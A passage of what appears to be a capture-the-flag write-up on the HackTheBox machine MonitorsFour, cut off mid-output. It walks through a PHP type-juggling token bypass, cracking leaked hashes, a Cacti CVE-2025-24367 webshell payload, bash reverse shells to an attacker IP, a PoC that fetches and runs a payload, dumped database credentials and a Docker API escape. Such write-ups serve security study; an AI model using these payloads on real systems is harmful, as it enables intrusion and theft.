 :: Wordlist         : FUZZ: /opt/SecLists/Fuzzing/alphanum-case-extra.txt
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

0                       [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 156ms]
:: Progress: [95/95] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

I am using the alphanum-case-extra.txt wordlist just to look for bad characters. Surprisingly, it’s “0” that causes different output! It actually dumps the users on the site:

oxdf@hacky$ curl http://monitorsfour.htb/user?token=0 -s | jq .
[
  {
    "id": 2,
    "username": "admin",
    "email": "admin@monitorsfour.htb",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "8024b78f83f102da4f",
    "name": "Marcus Higgins",
    "position": "System Administrator",
    "dob": "1978-04-26",
    "start_date": "2021-01-12",
    "salary": "320800.00"
  },
  {
    "id": 5,
    "username": "mwatson",
    "email": "mwatson@monitorsfour.htb",
    "password": "69196959c16b26ef00b77d82cf6eb169",
    "role": "user",
    "token": "0e543210987654321",
    "name": "Michael Watson",
    "position": "Website Administrator",
    "dob": "1985-02-15",
    "start_date": "2021-05-11",
    "salary": "75000.00"
  },
  {
    "id": 6,
    "username": "janderson",
    "email": "janderson@monitorsfour.htb",
    "password": "2a22dcf99190c322d974c8df5ba3256b",
    "role": "user",
    "token": "0e999999999999999",
    "name": "Jennifer Anderson",
    "position": "Network Engineer",
    "dob": "1990-07-16",
    "start_date": "2021-06-20",
    "salary": "68000.00"
  },
  {
    "id": 7,
    "username": "dthompson",
    "email": "dthompson@monitorsfour.htb",
    "password": "8d4a7e7fd08555133e056d9aacb1e519",
    "role": "user",
    "token": "0e111111111111111",
    "name": "David Thompson",
    "position": "Database Manager",
    "dob": "1982-11-23",
    "start_date": "2022-09-15",
    "salary": "83000.00"
  }
]

This is almost certainly a PHP type juggling issue. In PHP, == means same value, and === means same value and same type. PayloadsAllTheThings has a nice chart of weird booleans that come up when a developer mistakenly uses ==:

Click for full size image

If I look at the dumped token values, the last three all match the form “0e…” in which case 0 would match it. I’ll review the code and show why this works in Beyond Root.

Crack Password

The values in the password field look like MD5 hashes (32 hex characters), so if they are meant to be cracked, they’ll crack instantly in CrackStation:

admin@monitorsfour.htb has the password “wonderful1”.

Authenticated Site Access

The password doesn’t work to log into Cacti, but it does work on the main site:

There are a few tidbits of information in the site. For example, they are using Docker Desktop 4.44.2:

The dumped user data shows that the admin’s name is Marcus Higgins, and the same password with the username marcus works to log into Cacti:

RCE

Triaging Vulnerabilities

Searching for “cacti 1.2.28 vulnerabilities” leads to the CVEdetails page:

Going into the one vulnerability in the “Code Execution” category, the CVE is CVE-2025-24367, which NIST describes as:

Cacti is an open source performance and fault management framework. An authenticated Cacti user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server. This vulnerability is fixed in 1.2.29.

This sounds like something I can exploit.

CVE-2025-24367 Background

There’s also this advisory which walked through the vulnerability in more detail.

The bug lives in cacti_escapeshellarg() in lib/functions.php. Cacti rolls its own version of PHP’s escapeshellarg() so the same code can produce quoting that works on both Linux and Windows:

function cacti_escapeshellarg($string, $quote = true) {
    global $config;

    if ($string == '') {
        return $string;
    }

    /* we must use an apostrophe to escape community names under Unix in case the user uses
    characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
    you do this, but are perfectly happy with a quotation mark. */
    if ($config['cacti_server_os'] == 'unix') {
        $string = escapeshellarg($string);
        if ($quote) {
            return $string;
        } else {
            # remove first and last char
            return substr($string, 1, (strlen($string)-2));
        }
    } else {
        /* escapeshellarg takes care of different quotation for both linux and windows,
         * but unfortunately, it blanks out percent signs
         * we want to keep them, e.g. for GPRINT format strings
         * so we need to create our own escapeshellarg
         * on windows, command injection requires to close any open quotation first
         * so we have to escape any quotation here */
        if (substr_count($string, CACTI_ESCAPE_CHARACTER)) {
            $string = str_replace(CACTI_ESCAPE_CHARACTER, "\\" . CACTI_ESCAPE_CHARACTER, $string);
        }

        /* ... before we add our own quotation */
        if ($quote) {
            return CACTI_ESCAPE_CHARACTER . $string . CACTI_ESCAPE_CHARACTER;
        } else {
            return $string;
        }
    }
}

The Unix branch defers to PHP’s native escapeshellarg. The Windows branch (the one that matters here, since MonitorsFour is a Windows host) hand-rolls the quoting, wrapping the value in CACTI_ESCAPE_CHARACTER (a " on Windows) and escape any embedded " so the attacker can’t close the quote and tack on extra arguments. What it never does is strip or escape a newline.

The downstream consumer of that escaped string is rrdtool, which Cacti uses to render graphs. It’s rrd_function_process_graph_options() in lib/rrd.php that builds the rrdtool graph command from the fields on a graph or graph template (--title, --vertical-label, --right-axis-label, and so on). The values for those switches come straight from the database row for the graph, which an authenticated user with template-edit rights controls. The relevant case in the giant switch is right_axis_label:

case 'right_axis_label':
    if (!empty($value)) {
        $graph_opts .= '--right-axis-label ' . cacti_escapeshellarg($value) . RRD_NL;
    }
    break;

RRD_NL is defined at the top of the file as " \\\n" (a space, a backslash, and a newline, i.e. the shell line-continuation sequence). Cacti builds the whole rrdtool invocation as one logical command spread across many physical lines:

rrdtool graph filename.png \
--right-axis-label 'whatever the user typed' \
--vertical-label 'something else' \
...

If a \n slips into the value, it terminates the line before the trailing \, the line continuation breaks, and the text after the newline is no longer an argument to --right-axis-label. It becomes the next line of the command stream, which rrdtool reads as a fresh subcommand. That’s the whole primitive.

The last piece is turning “inject rrdtool commands” into “write a PHP file.” rrdtool has a graph subcommand that normally renders a PNG, but with -a CSV it writes a CSV file instead, and the output path is the first positional argument. The CSV contents include the label text of each LINE/AREA element verbatim. So the chain is:

Use a newline to break out of the legitimate --right-axis-label argument.
Issue a create to make a throwaway RRD database to graph from.
Issue a graph shell.php -a CSV ... LINE1:out: so rrdtool writes a file named shell.php whose contents include attacker-controlled PHP.

The resulting .php file lands in rrdtool’s working directory, which in the Cacti install is somewhere PHP will execute it. Browsing to that file gives RCE as the web user.

The fix in 1.2.29 is a single str_replace at the top of cacti_escapeshellarg() that strips \n and \r from the argument before either platform branch runs, killing the newline-injection primitive at the chokepoint rather than at every caller.

Manual Exploit

To exploit this, I’ll click on the “Graphs” tab in the top menu, and find four existing graphs:

One of the buttons is to “Edit Graph Template”:

I’ll click on that and scroll down to find “Right Axis Label”, which I’ll set to a marker I know:

I’ll submit this, then find the request in Burp, and send it to Repeater. There I’ll scroll down to find my marker:

I’m aiming to set that to three lines:

0xdf
create poc.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph shell.php -s now -a CSV DEF:out=poc.rrd:temp:AVERAGE LINE1:out:=system(array_values($_REQUEST)[0]);?>

That would make that call look like:

rrdtool graph filename.png \
--right-axis-label 0xdf
create poc.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph shell.php -s now -a CSV DEF:out=poc.rrd:temp:AVERAGE LINE1:out:=system(array_values($_REQUEST)[0]);?>
\
--vertical-label 'something else' \
...

The create and graph commands are new commands, not part of the rrdtool call.

Passing in quotes (single or double) breaks things because of the escaping, so I’m using array_values to get the first arg from $_REQUEST.

That will URL encode to:

0xdf%0acreate+poc.rrd+--step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+shell.php+-s+now+-a+CSV+DEF%3aout%3dpoc.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a<%3f%3dsystem(array_values($_REQUEST)[0])%3b%3f>%0a

It is important to have the trailing newline (%0a). This goes back into Repeater:

If I’m using ctrl-u to URL-encode in Burp, Burp doesn’t encode newlines, so I’ll have to replace those with %0a myself. I’ll send this, and it returns 302 Found redirecting to graph_templates.php.

Now I’ll load the graphs page by clicking the “Preview” button at the top right of the “Graphs” tab:

I can reach the webshell at http://cacti.monitorsfour.htb/cacti/shell.php?c=id:

oxdf@hacky$ curl http://cacti.monitorsfour.htb/cacti/shell.php?c=id
"time","uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)"
1779018000,"NaN"

That’s RCE!

Shell

To get a full shell, I’ll use a bash reverse shell from the webshell:

oxdf@hacky$ curl http://cacti.monitorsfour.htb/cacti/shell.php --data-urlencode 'c=bash -c "bash -i >& /dev/tcp/10.10.14.61/443 0>&1"'

This just hangs, but at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.67.15 51839
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$

I’ll upgrade my shell using the standard trick:

www-data@821fbd6a43fa:~/html/cacti$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@821fbd6a43fa:~/html/cacti$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            ‍reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@821fbd6a43fa:~/html/cacti$

Script

There’s a POC for CVE-2025-24367 from one of the co-authors of MonitorsFour, TheCyberGeek. I’ll clone the repo and give it a run. It requires requests and beautifulsoup4, so I’ll add those with the --with parameter to uv:

oxdf@hacky$ git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
Cloning into 'CVE-2025-24367-Cacti-PoC'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 9 (delta 1), reused 2 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), 6.63 KiB | 616.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.
oxdf@hacky$ uv run --with requests,beautifulsoup4 exploit.py
usage: CVE-2025-24367 - Cacti Authenticated Graph Template RCE [-h] -u USER -p PASSWORD -i IP -l PORT -url URL [--proxy]
CVE-2025-24367 - Cacti Authenticated Graph Template RCE: error: the following arguments are required: -u/--user, -p/--password, -i/--ip, -l/--port, -url/--url

This script walks through the steps I show manually above, and is very reliable. The script avoids the character issues by running the exploit twice. The first time, it creates a PHP file that runs curl to fetch a payload from the given IP and save it to disk in a file named bash:

f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:\\x20{ip}/bash\\x20-o\\x20bash`;?>\n"

The second run executes that file:

f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:\\x20bash`;?>\n"

The script manages creating an HTTP server on 80 (hardcoded, so it must run as root or in a process with capabilities required to listen on a low port). The payload is a bash reverse shell:

"""
Write bash payload
"""
def write_payload(ip: str, port: int) -> None:
    with open("bash", "w") as f:
        f.write(f"#!/bin/bash\nbash -i >& /dev/tcp/{ip}/{port} 0>&1")
        f.close()

I’ll run this against the target:

oxdf@hacky$ uv run --with requests,beautifulsoup4 exploit.py -u marcus -p wonderful1 -i 10.10.14.61 -l 443 --url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: f4y40.php
[+] Got payload: /bash
[i] Created PHP filename: QsbRz.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

It creates the first PHP file to fetch the rev shell, and then the second one to run it. Then there’s a shell at my listener:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.67.15 49167
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ 

Shell as root on WSL

Enumeration

Container

The hostname of the box is 821fbd6a43fa, which matches the expected names for default Docker containers. There’s also a .dockerenv file in /. ifconfig isn’t installed, but ip addr shows a 172.18.0.0/16 IP:

www-data@821fbd6a43fa:/$ ifconfig
ifconfig
bash: ifconfig: command not found
www-data@821fbd6a43fa:/$ ip addr
ip addr
1: lo:  mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo 
       valid_lft forever preferred_lft forever
2: eth0@if7:  mtu 1500 qdisc noqueue state UP group default 
    link/ether d6:1e:b2:dd:f2:a3 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever

This is a Docker container.

Users

The marcus user does have a directory in /home:

www-data@821fbd6a43fa:~$ ls /home/
marcus

It’s world accessible and I can read user.txt:

www-data@821fbd6a43fa:/home/marcus$ cat user.txt
f9451c0f************************

Only marcus and root have shells set in passwd:

www-data@821fbd6a43fa:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
marcus:x:1000:1000::/home/marcus:/bin/bash

There’s nothing else interesting in marcus’ home directory:

www-data@821fbd6a43fa:/home/marcus$ ls -la
total 28
drwxr-xr-x 1 marcus marcus 4096 May 18 15:09 .
drwxr-xr-x 1 root   root   4096 Nov 10  2025 ..
-rw-r--r-- 1 marcus marcus  220 Jul 30  2025 .bash_logout
-rw-r--r-- 1 marcus marcus 3526 Jul 30  2025 .bashrc
-rw-r--r-- 1 marcus marcus  807 Jul 30  2025 .profile
-r-xr-xr-x 1 root   root     34 May 18 15:06 user.txt

Web

www-data’s home directory is /var/www:

www-data@821fbd6a43fa:~$ pwd
/var/www

This directory is setup as:

📁 /var/www/
├── 📁 app/# monitorsfour.htb
│   ├── 📄 Router.php
│   ├── 📁 controllers/
│   ├── 📄 index.php
│   ├── 📁 static/
│   └── 📁 views/
└── 📁 html/
    ├── 📁 cacti/# cacti.monitorsfour.htb
    ├── 📄 index.nginx-debian.html
    └── 📄 index.php

The database creds are in /var/www/app/.env:

DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

The Cacti ones are in /var/www/html/cacti/include/config.php:

...[snip]...
$database_type     = 'mysql';                                      
$database_default  = 'cacti';                                      
$database_hostname = 'mariadb';                                    
$database_username = 'cactidbuser';                                
$database_password = '7pyrf6ly8qx4';          
$database_port     = '3306';                                       
$database_retries  = 5;                                            
$database_ssl      = false;   
$database_ssl_key  = '';                                           
$database_ssl_cert = '';                                           
$database_ssl_ca   = '';                                           
$database_persist  = false;
...[snip]...

Both of these point to another host named mariadb.

I can connect, but the monitorsfour_db doesn’t have anything useful (I dumped the users earlier). The Cacti DB does have some hashes:

MariaDB [cacti]> select username,password,full_name from user_auth;
+----------+--------------------------------------------------------------+---------------+
| username | password                                                     | full_name     |
+----------+--------------------------------------------------------------+---------------+
| admin    | $2y$10$wqlo06C4isr4q9xhqI/UQOpyM/n8EDzYl/GndqhDh/2LQihzPdHWO | Administrator |
| guest    | 43e9a4ab75570f5b                                             | Guest Account |
| marcus   | $2y$10$bPWlnZYLhoDUawu4x8vLAuCIaDbqIUe4s9t9HqFm/1gtbavD/eKGe | Marcus Haynes |
+----------+--------------------------------------------------------------+---------------+
3 rows in set (0.001 sec)

The guest account hash is broken. I’ll pass the other two to hashcat, but it only finds marcus’s password of “wonderful1” (which I already found above).

Network

The DB configs reference “mariadb”. This is almost certainly available via Docker’s embedded DNS. I’ll get the IP with getent:

www-data@821fbd6a43fa:~$ getent hosts mariadb 
172.18.0.2      mariadb

No other hosts show up in the arp cache:

www-data@821fbd6a43fa:~$ cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.18.0.1       0x1         0x2         96:2a:12:dc:b9:c4     *        eth0
172.18.0.2       0x1         0x2         9e:57:4d:1b:71:29     *        eth0

ping isn’t installed, but I can use getent to sweep at least the local class C:

www-data@821fbd6a43fa:~$ seq 1 255 | xargs -I{} -P 255 sh -c 'getent hosts 172.18.0.{}'
172.18.0.2      mariadb.docker_setup_default
172.18.0.3      821fbd6a43fa

Nothing else interesting there.

There’s an interesting hint in the /etc/resolv.conf file:

# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.

nameserver 127.0.0.11
options ndots:0

# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal

The nameserver is 127.0.0.11, which is Docker’s internal listener. There’s also a comment mentioning ExtServers, and listing 192.168.65.7. That’s the upstream DNS server that Docker’s embedded resolver forwards external queries to. It’s not something I reach directly from the container, but a hint as to what’s running the Docker container.

The 192.168.65.0/24 range is also a standard internal network for Docker Desktop (Mac/Windows). Seeing it here means the box is running Docker Desktop rather than plain dockerd on Linux, which makes sense on this machine that’s labeled as Windows, and the admin panel changelog mentioned they were running Docker Desktop 4.44.2.

I’ll upload a static copy of nmap to scan, as well as copies of /etc/services named to nmap-services, and /usr/share/nmap/nmap-protocols from my VM. I’ll set my --datadir to point to where both of those live. I shouldn’t be able to route traffic to 192.168.65.7, but in this case I can:

www-data@821fbd6a43fa:/tmp$ ./nmap --datadir /tmp/ -p- --min-rate 10000 192.168.65.7
Starting Nmap 7.93SVN ( https://nmap.org ) at 2026-05-18 22:11 UTC
Nmap scan report for 192.168.65.7
Host is up (0.00081s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
53/tcp   open  unknown
2375/tcp open  unknown
3128/tcp open  unknown
5555/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds

I don’t have any NSE scripts available, but that’s interesting! 2375 is the Docker daemon API.

CVE-2025-9074 Background

Searching for vulnerabilities / exploits in this version of Docker desktop shows a bunch of issues:

It’s really just one issue, from August 2025. (There’s also a macOS attack from February 2026, two months after MonitorsFour released).

NIST describes CVE-2025-9074 as:

A vulnerability was identified in Docker Desktop that allows local running Linux containers to access the Docker Engine API via the configured Docker subnet, at 192.168.65.7:2375 by default. This vulnerability occurs with or without Enhanced Container Isolation (ECI) enabled, and with or without the “Expose daemon on tcp://localhost:2375 without TLS” option enabled. This can lead to execution of a wide range of privileged commands to the engine API, including controlling other containers, creating new ones, managing images etc. In some circumstances (e.g. Docker Desktop for Windows with WSL backend) it also allows mounting the host drive with the same privileges as the user running Docker Desktop.

The issue is just what I identified above, that I can reach the Docker daemon from within the container.

The researcher who identified this wrote a blog post about it, and gives this POC at the end:

wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/pwn.txt"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' \
-O - http://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start

This is two HTTP requests with wget, with one line of bash in between:

Builds a spec for a container and registers it with the API, saving the results as create.json.
Uses cut to get the container id from the resulting file.
Starts that container.

The container is configured to mount /mnt/host/c as /host_root in the container, and then write a file to it.

Enumerate Docker API

Hitting the raw API with curl returns JSON:

www-data@821fbd6a43fa:/$ curl 192.168.65.7:2375
{"message":"page not found"}

This matches the documentation for errors for the Docker API.

/info dumps a lot of information:

www-data@821fbd6a43fa:/$ curl 192.168.65.7:2375/info
{"ID":"e9938dea-4226-47b1-9455-ca938cb3e01a","Containers":2,"ContainersRunning":2,"ContainersPaused":0,"ContainersStopped":0,"Images":3,"Driver":"overlayfs","DriverStatus":[["driver-type","io.containerd.snapshotter.v1"]],"Plugins":{"Volume":["local"],"Network":["bridge","host","ipvlan","macvlan","null","overlay"],"Authorization":null,"Log":["awslogs","fluentd","gcplogs","gelf","journald","json-file","local","splunk","syslog"]},"MemoryLimit":true,"SwapLimit":true,"CpuCfsPeriod":true,"CpuCfsQuota":true,"CPUShares":true,"CPUSet":true,"PidsLimit":true,"IPv4Forwarding":true,"Debug":false,"NFd":78,"OomKillDisable":false,"NGoroutines":108,"SystemTime":"2026-05-19T10:33:27.763612346Z","LoggingDriver":"json-file","CgroupDriver":"cgroupfs","CgroupVersion":"2","NEventsListener":12,"KernelVersion":"6.6.87.2-microsoft-standard-WSL2","OperatingSystem":"Docker Desktop","OSVersion":"","OSType":"linux","Architecture":"x86_64","IndexServerAddress":"https://index.docker.io/v1/","RegistryConfig":{"IndexConfigs":{"docker.io":{"Mirrors":[],"Name":"docker.io","Official":true,"Secure":true},"hubproxy.docker.internal:5555":{"Mirrors":[],"Name":"hubproxy.docker.internal:5555","Official":false,"Secure":false}},"InsecureRegistryCIDRs":["::1/128","127.0.0.0/8"],"Mirrors":null},"NCPU":2,"MemTotal":1995177984,"GenericResources":null,"DockerRootDir":"/var/lib/docker","HttpProxy":"http.docker.internal:3128","HttpsProxy":"http.docker.internal:3128","NoProxy":"hubproxy.docker.internal","Name":"docker-desktop","Labels":[],"ExperimentalBuild":false,"ServerVersion":"28.3.2","Runtimes":{"io.containerd.runc.v2":{"path":"runc","status":{"org.opencontainers.runtime-spec.features":"{\"ociVersionMin\":\"1.0.0\",\"ociVersionMax\":\"1.2.0\",\"hooks\":[\"prestart\",\"createRuntime\",\"createContainer\",\"startContainer\",\"poststart\",\"poststop\"],\"mountOptions\":[\"async\",\"atime\",\"bind\",\"defaults\",\"dev\",\"diratime\",\"dirsync\",\"exec\",\"iversion\",\"lazytime\",\"loud\",\"mand\",\"noatime\",\"nodev\",\"nodiratime\",\"noexec\",\"noiversion\",\"nolazytime\",\"nomand\",\"norelatime\",\"nostrictatime\",\"nosuid\",\"nosymfollow\",\"private\",\"ratime\",\"rbind\",\"rdev\",\"rdiratime\",\"relatime\",\"remount\",\"rexec\",\"rnoatime\",\"rnodev\",\"rnodiratime\",\"rnoexec\",\"rnorelatime\",\"rnostrictatime\",\"rnosuid\",\"rnosymfollow\",\"ro\",\"rprivate\",\"rrelatime\",\"rro\",\"rrw\",\"rshared\",\"rslave\",\"rstrictatime\",\"rsuid\",\"rsymfollow\",\"runbindable\",\"rw\",\"shared\",\"silent\",\"slave\",\"strictatime\",\"suid\",\"symfollow\",\"sync\",\"tmpcopyup\",\"unbindable\"],\"linux\":{\"namespaces\":[\"cgroup\",\"ipc\",\"mount\",\"network\",\"pid\",\"time\",\"user\",\"uts\"],\"capabilities\":[\"CAP_CHOWN\",\"CAP_DAC_OVERRIDE\",\"CAP_DAC_READ_SEARCH\",\"CAP_FOWNER\",\"CAP_FSETID\",\"CAP_KILL\",\"CAP_SETGID\",\"CAP_SETUID\",\"CAP_SETPCAP\",\"CAP_LINUX_IMMUTABLE\",\"CAP_NET_BIND_SERVICE\",\"CAP_NET_BROADCAST\",\"CAP_NET_ADMIN\",\"CAP_NET_RAW\",\"CAP_IPC_LOCK\",\"CAP_IPC_OWNER\",\"CAP_SYS_MODULE\",\"CAP_SYS_RAWIO\",\"CAP_SYS_CHROOT\",\"CAP_SYS_PTRACE\",\"CAP_SYS_PACCT\",\"CAP_SYS_ADMIN\",\"CAP_SYS_BOOT\",\"CAP_SYS_NICE\",\"CAP_SYS_RESOURCE\",\"CAP_SYS_TIME\",\"CAP_SYS_TTY_CONFIG\",\"CAP_MKNOD\",\"CAP_LEASE\",\"CAP_AUDIT_WRITE\",\"CAP_AUDIT_CONTROL\",\"CAP_SETFCAP\",\"CAP_MAC_OVERRIDE\",\"CAP_MAC_ADMIN\",\"CAP_SYSLOG\",\"CAP_WAKE_ALARM\",\"CAP_BLOCK_SUSPEND\",\"CAP_AUDIT_READ\",\"CAP_PERFMON\",\"CAP_BPF\",\"CAP_CHECKPOINT_RESTORE\"],\"cgroup\":{\"v1\":true,\"v2\":true,\"systemd\":true,\"systemdUser\":true,\"rdma\":true},\"seccomp\":{\"enabled\":true,\"actions\":[\"SCMP_ACT_ALLOW\",\"SCMP_ACT_ERRNO\",\"SCMP_ACT_KILL\",\"SCMP_ACT_KILL_PROCESS\",\"SCMP_ACT_KILL_THREAD\",\"SCMP_ACT_LOG\",\"SCMP_ACT_NOTIFY\",\"SCMP_ACT_TRACE\",\"SCMP_ACT_TRAP\"],\"operators\":[\"SCMP_CMP_EQ\",\"SCMP_CMP_GE\",\"SCMP_CMP_GT\",\"SCMP_CMP_LE\",\"SCMP_CMP_LT\",\"SCMP_CMP_MASKED_EQ\",\"SCMP_CMP_NE\"],\"archs\":[\"SCMP_ARCH_AARCH64\",\"SCMP_ARCH_ARM\",\"SCMP_ARCH_MIPS\",\"SCMP_ARCH_MIPS64\",\"SCMP_ARCH_MIPS64N32\",\"SCMP_ARCH_MIPSEL\",\"SCMP_ARCH_MIPSEL64\",\"SCMP_ARCH_MIPSEL64N32\",\"SCMP_ARCH_PPC\",\"SCMP_ARCH_PPC64\",\"SCMP_ARCH_PPC64LE\",\"SCMP_ARCH_RISCV64\",\"SCMP_ARCH_S390\",\"SCMP_ARCH_S390X\",\"SCMP_ARCH_X32\",\"SCMP_ARCH_X86\",\"SCMP_ARCH_X86_64\"],\"knownFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"],\"supportedFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"]},\"apparmor\":{\"enabled\":true},\"selinux\":{\"enabled\":true},\"intelRdt\":{\"enabled\":true},\"mountExtensions\":{\"idmap\":{\"enabled\":true}}},\"annotations\":{\"io.github.seccomp.libseccomp.version\":\"2.5.4\",\"org.opencontainers.runc.checkpoint.enabled\":\"true\",\"org.opencontainers.runc.commit\":\"v1.2.5-0-g59923ef\",\"org.opencontainers.runc.version\":\"1.2.5\"},\"potentiallyUnsafeConfigAnnotations\":[\"bundle\",\"org.systemd.property.\",\"org.criu.config\"]}"}},"nvidia":{"path":"nvidia-container-runtime","status":{"org.opencontainers.runtime-spec.features":"{\"ociVersionMin\":\"1.0.0\",\"ociVersionMax\":\"1.2.0\",\"hooks\":[\"prestart\",\"createRuntime\",\"createContainer\",\"startContainer\",\"poststart\",\"poststop\"],\"mountOptions\":[\"async\",\"atime\",\"bind\",\"defaults\",\"dev\",\"diratime\",\"dirsync\",\"exec\",\"iversion\",\"lazytime\",\"loud\",\"mand\",\"noatime\",\"nodev\",\"nodiratime\",\"noexec\",\"noiversion\",\"nolazytime\",\"nomand\",\"norelatime\",\"nostrictatime\",\"nosuid\",\"nosymfollow\",\"private\",\"ratime\",\"rbind\",\"rdev\",\"rdiratime\",\"relatime\",\"remount\",\"rexec\",\"rnoatime\",\"rnodev\",\"rnodiratime\",\"rnoexec\",\"rnorelatime\",\"rnostrictatime\",\"rnosuid\",\"rnosymfollow\",\"ro\",\"rprivate\",\"rrelatime\",\"rro\",\"rrw\",\"rshared\",\"rslave\",\"rstrictatime\",\"rsuid\",\"rsymfollow\",\"runbindable\",\"rw\",\"shared\",\"silent\",\"slave\",\"strictatime\",\"suid\",\"symfollow\",\"sync\",\"tmpcopyup\",\"unbindable\"],\"linux\":{\"namespaces\":[\"cgroup\",\"ipc\",\"mount\",\"network\",\"pid\",\"time\",\"user\",\"uts\"],\"capabilities\":[\"CAP_CHOWN\",\"CAP_DAC_OVERRIDE\",\"CAP_DAC_READ_SEARCH\",\"CAP_FOWNER\",\"CAP_FSETID\",\"CAP_KILL\",\"CAP_SETGID\",\"CAP_SETUID\",\"CAP_SETPCAP\",\"CAP_LINUX_IMMUTABLE\",\"CAP_NET_BIND_SERVICE\",\"CAP_NET_BROADCAST\",\"CAP_NET_ADMIN\",\"CAP_NET_RAW\",\"CAP_IPC_LOCK\",\"CAP_IPC_OWNER\",\"CAP_SYS_MODULE\",\"CAP_SYS_RAWIO\",\"CAP_SYS_CHROOT\",\"CAP_SYS_PTRACE\",\"CAP_SYS_PACCT\",\"CAP_SYS_ADMIN\",\"CAP_SYS_BOOT\",\"CAP_SYS_NICE\",\"CAP_SYS_RESOURCE\",\"CAP_SYS_TIME\",\"CAP_SYS_TTY_CONFIG\",\"CAP_MKNOD\",\"CAP_LEASE\",\"CAP_AUDIT_WRITE\",\"CAP_AUDIT_CONTROL\",\"CAP_SETFCAP\",\"CAP_MAC_OVERRIDE\",\"CAP_MAC_ADMIN\",\"CAP_SYSLOG\",\"CAP_WAKE_ALARM\",\"CAP_BLOCK_SUSPEND\",\"CAP_AUDIT_READ\",\"CAP_PERFMON\",\"CAP_BPF\",\"CAP_CHECKPOINT_RESTORE\"],\"cgroup\":{\"v1\":true,\"v2\":true,\"systemd\":true,\"systemdUser\":true,\"rdma\":true},\"seccomp\":{\"enabled\":true,\"actions\":[\"SCMP_ACT_ALLOW\",\"SCMP_ACT_ERRNO\",\"SCMP_ACT_KILL\",\"SCMP_ACT_KILL_PROCESS\",\"SCMP_ACT_KILL_THREAD\",\"SCMP_ACT_LOG\",\"SCMP_ACT_NOTIFY\",\"SCMP_ACT_TRACE\",\"SCMP_ACT_TRAP\"],\"operators\":[\"SCMP_CMP_EQ\",\"SCMP_CMP_GE\",\"SCMP_CMP_GT\",\"SCMP_CMP_LE\",\"SCMP_CMP_LT\",\"SCMP_CMP_MASKED_EQ\",\"SCMP_CMP_NE\"],\"archs\":[\"SCMP_ARCH_AARCH64\",\"SCMP_ARCH_ARM\",\"SCMP_ARCH_MIPS\",\"SCMP_ARCH_MIPS64\",\"SCMP_ARCH_MIPS64N32\",\"SCMP_ARCH_MIPSEL\",\"SCMP_ARCH_MIPSEL64\",\"SCMP_ARCH_MIPSEL64N32\",\"SCMP_ARCH_PPC\",\"SCMP_ARCH_PPC64\",\"SCMP_ARCH_PPC64LE\",\"SCMP_ARCH_RISCV64\",\"SCMP_ARCH_S390\",\"SCMP_ARCH_S390X\",\"SCMP_ARCH_X32\",\"SCMP_ARCH_X86\",\"SCMP_ARCH_X86_64\"],\"knownFl